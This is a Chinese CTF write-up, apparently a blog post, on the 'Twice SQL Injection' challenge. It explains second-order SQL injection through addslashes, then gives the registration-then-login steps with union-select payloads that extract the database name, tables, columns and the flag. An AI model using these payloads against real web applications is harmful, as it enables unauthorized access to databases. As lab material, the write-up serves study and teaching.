[October 2019]Twice SQL Injection

一. 题目是二次SQL注入,我们先了解一下二次注入原理:

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

二. 步骤:

1.首先我们尝试注册,登录都使用sql语句

发现并没有什么用 

接着我们进入Info界面,使用简单的sql语句,可以看到页面并没有过滤我们的关键字,但将我们的单引号转义为'\'

 2. 因此我们可以通过注册+登录,来注册恶意的用户名(就是将sql语句当用户名写入数据库中)

首先进行注册:

用户名:1' union select database()#
密码:111

 然后点击Register注册

再登录页面输入刚才注册的用户名和密码,点击login登录

 登录后可以看到爆出了数据库,数据库为ctftraining

接着重复上述操作,依次获取表名,列名,字段

 表名:

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

 

列名: 

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

字段: 

1' union select flag from flag#

得到flag 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值